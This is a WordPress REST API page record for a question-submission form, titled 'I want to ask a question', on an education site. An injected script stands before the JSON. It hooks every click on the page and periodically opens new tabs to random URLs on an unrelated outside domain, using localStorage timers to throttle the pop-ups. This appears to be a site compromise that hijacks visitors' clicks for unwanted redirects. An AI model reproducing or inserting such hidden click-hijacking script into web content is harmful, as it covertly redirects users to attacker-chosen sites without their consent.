<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1321,"date":"2019-03-15T16:42:32","date_gmt":"2019-03-15T08:42:32","guid":{"rendered":"http:\/\/edu.secda.info\/situtor_news\/?page_id=1321"},"modified":"2019-03-15T16:43:43","modified_gmt":"2019-03-15T08:43:43","slug":"%e6%88%91%e8%a6%81%e5%95%8f%e5%95%8f%e9%a1%8c","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/situtor_news\/?page_id=1321","title":{"rendered":"\u6211\u8981\u554f\u554f\u984c"},"content":{"rendered":"<div class=\"dwqa-container\" ><div id=\"submit-question\" class=\"dwqa-submit-question\"> <form action=\"\" name=\"dwqa-submit-question-form\" id=\"dwqa-submit-question-form\" method=\"post\"><div class=\"question-advance\"><div class=\"question-meta\"><div class=\"select-category\"><label for=\"question-category\">\u554f\u984c\u5206\u985e<\/label><select name='question-category' id='question-category' class='postform'><option value='-1'>\u9078\u64c7\u554f\u984c\u5206\u985e<\/option><option class=\"level-0\" value=\"63\">Questions<\/option><\/select><\/div> <div class=\"input-tag\"><label for=\"question-tag\">\u554f\u984c\u6a19\u7c64<\/label><input type=\"text\" name=\"question-tag\" id=\"question-tag\" placeholder=\"\u6a19\u7c641,\u6a19\u7c642,\u2026\" value=\"\" \/><\/div><\/div><\/div><div class=\"input-title\"><label for=\"question-title\">\u4f60\u7684\u554f\u984c *<\/label><input type=\"text\" name=\"question-title\" id=\"question-title\" placeholder=\"\u6709\u4ec0\u9ebc\u7591\u554f\u2026\" autocomplete=\"off\" data-nonce=\"cdf2ce6688\" value=\"\" \/><span class=\"dwqa-search-loading dwqa-hide\"><\/span><span class=\"dwqa-search-clear fa fa-times dwqa-hide\"><\/span><\/div> <div class=\"question-advance\"><div class=\"input-content\"><label for=\"question-content\">\u554f\u984c\u8a73\u7d30\u5167\u5bb9<\/label><div id=\"wp-dwqa-question-content-editor-wrap\" class=\"wp-core-ui wp-editor-wrap tmce-active\"><link rel='stylesheet' id='dashicons-css' href='https:\/\/edu.secda.info\/situtor_news\/wp-includes\/css\/dashicons.min.css?ver=6.5.8' type='text\/css' media='all' \/><link rel='stylesheet' id='editor-buttons-css' href='https:\/\/edu.secda.info\/situtor_news\/wp-includes\/css\/editor.min.css?ver=6.5.8' type='text\/css' media='all' \/><div id=\"wp-dwqa-question-content-editor-editor-container\" class=\"wp-editor-container\"><textarea class=\"wp-editor-area\" rows=\"5\" autocomplete=\"off\" cols=\"40\" name=\"question-content\" id=\"dwqa-question-content-editor\"><\/textarea><\/div><\/div><\/div><div class=\"question-signin\"><input type=\"hidden\" name=\"dwqa-action\" value=\"dwqa-submit-question\" \/><input type=\"hidden\" id=\"_wpnonce\" name=\"_wpnonce\" value=\"a1a898cd07\" \/><input type=\"hidden\" name=\"_wp_http_referer\" value=\"\/situtor_news\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F1321\" \/><div class=\"user-email\"><label for=\"user-email\" title=\"Enter your email to receive notification regarding your question. Your email is safe with us and will not be published.\">Your email *<\/label> <input type=\"email\" name=\"_dwqa_anonymous_email\" id=\"_dwqa_anonymous_email\" class=\"large-text\" placeholder=\"Email address ...\" required> <span>or <strong><a href=\"https:\/\/edu.secda.info\/situtor_news\/wp-login.php?redirect_to=https%3A%2F%2Fedu.secda.info%2Fsitutor_news%2F%3Fpage_id%3D1321\">login<\/a><\/strong> to submit question<\/span><\/div><\/div><script type=\"text\/javascript\"> var RecaptchaOptions = {theme : 'clean' }; <\/script><\/div><div class=\"form-submit\"><input type=\"submit\" value=\"\u63d0\u51fa\u554f\u984c\" class=\"dwqa-btn dwqa-btn-success btn-submit-question\" \/><\/div> <\/form><\/div><\/div>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":6,"featured_media":0,"parent":1320,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"blank-slate-template.php","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0,"footnotes":""},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/situtor_news\/index.php?rest_route=\/wp\/v2\/pages\/1321"}],"collection":[{"href":"https:\/\/edu.secda.info\/situtor_news\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/situtor_news\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/situtor_news\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/situtor_news\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1321"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/situtor_news\/index.php?rest_route=\/wp\/v2\/pages\/1321\/revisions"}],"predecessor-version":[{"id":1322,"href":"https:\/\/edu.secda.info\/situtor_news\/index.php?rest_route=\/wp\/v2\/pages\/1321\/revisions\/1322"}],"up":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/situtor_news\/index.php?rest_route=\/wp\/v2\/pages\/1320"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/situtor_news\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1321"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}